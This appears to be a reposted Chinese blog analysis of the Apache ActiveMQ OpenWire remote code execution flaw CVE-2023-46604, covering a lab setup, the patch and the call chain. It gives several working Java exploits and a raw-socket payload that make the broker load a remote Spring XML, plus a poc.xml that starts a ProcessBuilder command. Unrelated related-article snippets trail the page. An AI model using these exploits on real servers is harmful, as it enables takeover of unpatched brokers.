Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

图片

结合 https://activemq.apache.org/version-5-getting-started

图片

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616CMD ["/start.sh"]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:activemq:build: .ports:- "8161:8161"- "61616:61616"

图片

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

图片

 

https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3

图片

图片

新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

图片

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。

寻找调用该方法的位置

图片

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

图片

继续向上寻找调用

图片

image

网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

图片

继续向上寻找调用

图片

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

图片

我们看到此时 dsm 的值是基于传入的 dis.readByte();

图片

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {/** 创建连接工厂,由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");//创建连接对象Connection connection = connectionFactory.createConnection();//启动连接connection.start();/** 创建会话,参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制,可选机制为:*  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息*  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制*  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地,也就是队列名Destination destination = session.createQueue("q_test");//创建消息生成者,该生成者与目的地绑定MessageProducer mProducer = session.createProducer(destination);//创建消息Message message = session.createTextMessage("Hello, ActiveMQ");//发送消息mProducer.send(message);connection.close();}

图片

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

图片

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发

图片

    public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse = new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();}

图片

由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError = new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();}

    public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck  = new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();}

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";int port = 61616;String pocxml= "http://192.168.184.1:9090/poc.xml";Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

图片

利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

图片

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /*** A one way asynchronous send*/@Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");ExceptionResponse response = new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();}

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>touch</value><value>/tmp/1.txt</value></list></constructor-arg></bean></beans>

漏洞复现

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/338659.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解 Flink(四)Flink Time+WaterMark+Window 深入分析

Flink Window 常见需求背景 需求描述 每隔 5 秒&#xff0c;计算最近 10 秒单词出现的次数 —— 滑动窗口 每隔 5 秒&#xff0c;计算最近 5 秒单词出现的次数 —— 滚动窗口 关于 Flink time 种类 TimeCharacteristic ProcessingTimeIngestionTimeEventTime WindowAssign…

uniapp 字母索引列表插件(组件版) Ba-SortList

简介&#xff08;下载地址&#xff09; Ba-SortList 是一款字母索引列表组件版插件&#xff0c;可自定义样式&#xff0c;支持首字母字母检索、首字检索、搜索等等&#xff1b;支持点击事件。 支持首字母字母检索支持首字检索支持搜索支持点击事件支持长按事件支持在uniapp界…

20240110从官网下载7-zip

20240110从官网下载7-zip 2024/1/10 15:17 百度搜索&#xff1a;7-zip 官网 https://sparanoid.com/lab/7z/ 欢迎来到 7-Zip 官方中文网站&#xff01; 7-Zip 是一款拥有极高压缩比的开源压缩软件。 下载 7-Zip 23.01 稳定版适用于 Windows 操作系统&#xff08;2023-06-30&a…

6.1.2捕捉图像(3)

6&#xff0e;文字捕捉 除了可以捕捉图像外&#xff0c;HyperSnap6还有一个非常神奇、非常实用的功能——文字捕捉。利用文字捕捉&#xff0c;可以把一段不可复制的文字捕捉下来&#xff0c;以便于重新编辑。 (1)右单击桌面上的“我的电脑”&#xff0c;在弹出的快捷菜单中选…

TS 36.321 V12.0.0-MAC过程

​本文的内容主要涉及TS 36.321&#xff0c;版本是C00&#xff0c;也就是V12.0.0。

Flink中的状态管理

一.Flink中的状态 1.1 概述 在Flink中&#xff0c;算子任务可以分为有状态和无状态两种状态。 无状态的算子任务只需要观察每个独立事件&#xff0c;根据当前输入的数据直接转换输出结果。例如Map、Filter、FlatMap都是属于无状态算子。 而有状态的算子任务&#xff0c;就…

labelstudio镜像构建提示 Problem executing scripts APT::Update::Post-Invoke ‘rm

构建镜像真难&#xff0c;害惨了我。报如下的错误&#xff1a; #12 54.36 E: Problem executing scripts APT::Update::Post-Invoke rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true #12 54.36 E: Sub-process retur…

k8s的存储卷

存储卷------数据卷 把容器内的目录&#xff0c;和宿主机的目录进行挂载。 容器在系统上的生命周期是短暂的&#xff0c;delete&#xff0c;k8s用控制&#xff08;deployment&#xff09;创建的pod&#xff0c;delete相当于重启&#xff0c;容器的状态也会回复到初始状态。 …

基于传统机器学习的项目开发过程——@挑大梁

1 场景分析 1.1 项目背景 描述开发项目模型的一系列情境和因素&#xff0c;包括问题、需求、机会、市场环境、竞争情况等 1.2. 解决问题 传统机器学习在解决实际问题中主要分为两类&#xff1a; 有监督学习&#xff1a;已知输入、输出之间的关系而进行的学习&#xff0c;从而…

kubeSphere DevOps自定义容器环境JDK11

kubeSphere DevOps自定义容器环境JDK11 &#x1f342;前言&#x1f342;增加JDK11容器环境&#x1f341;检查是否成功 &#x1f342;不生效的原因排查&#x1f341;按步骤执行如下命令 &#x1f342;前言 kubeSphere 版本v3.1.1 遇到问题:kubeSphere默认支持容器只有JDK8,目前…

首次落地零担快运!商用车自动驾驶跑出交付加速度

即将迈入2024年&#xff0c;还活着的自动驾驶玩家&#xff0c;身上有两个显著标签&#xff1a;选对了细分赛道、会玩。 10月以来&#xff0c;Cruise宣布在美国德州奥斯汀、休斯顿、亚利桑那州凤凰城和加州旧金山全面停止所有自动驾驶出租车队运营服务&#xff0c;通用汽车计划…

Vulnhub-VULNCMS: 1渗透

文章目录 一、前言1、靶机ip配置2、渗透目标3、渗透概括 开始实战一、信息获取二、获取shell三、获取密码文件四、提权 一、前言 由于在做靶机的时候&#xff0c;涉及到的渗透思路是非常的广泛&#xff0c;所以在写文章的时候都是挑重点来写&#xff0c;尽量的不饶弯路。具体有…